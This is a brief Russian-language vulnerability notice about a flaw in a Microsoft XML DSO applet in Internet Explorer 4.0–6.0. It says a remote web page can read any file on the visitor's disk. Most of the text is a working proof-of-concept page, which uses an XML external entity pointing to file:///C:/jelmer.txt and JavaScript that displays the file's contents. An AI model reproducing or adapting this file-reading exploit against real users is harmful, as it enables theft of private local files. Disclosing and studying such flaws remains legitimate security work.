Из-за ошибки в апплете можно просмотреть любой файл на диске через удаленную Web страницу. Пример 
(отображает содержание файла C:/jelmer.txt): 

<html> 
<head> 
<base href="file:///C:/"> 
</head> 
<body> 
<applet code="com.ms.xml.dso.XMLDSO.class" width="0"
height="0" id="xmldso" MAYSCRIPT="true"> 
<?xml version="1.0"?> 
<!DOCTYPE file [ 
<!ELEMENT file (#PCDATA) > 
<!ENTITY contents SYSTEM "file:///C:/jelmer.txt"> 
]> 
<file> 
&contents; 
</file> 
</applet> 
<script language="javascript"> 
setTimeout("showIt()",2000); 
function showIt() { 
var jelmer = xmldso.getDocument(); 
alert(jelmer.Text); 

</script> 
</body> 
</html>

Уязвимость обнаружена в Microsoft Internet Explorer 4.0-6.0.

Подписаться
Уведомить о
0 комментариев
Межтекстовые Отзывы
Посмотреть все комментарии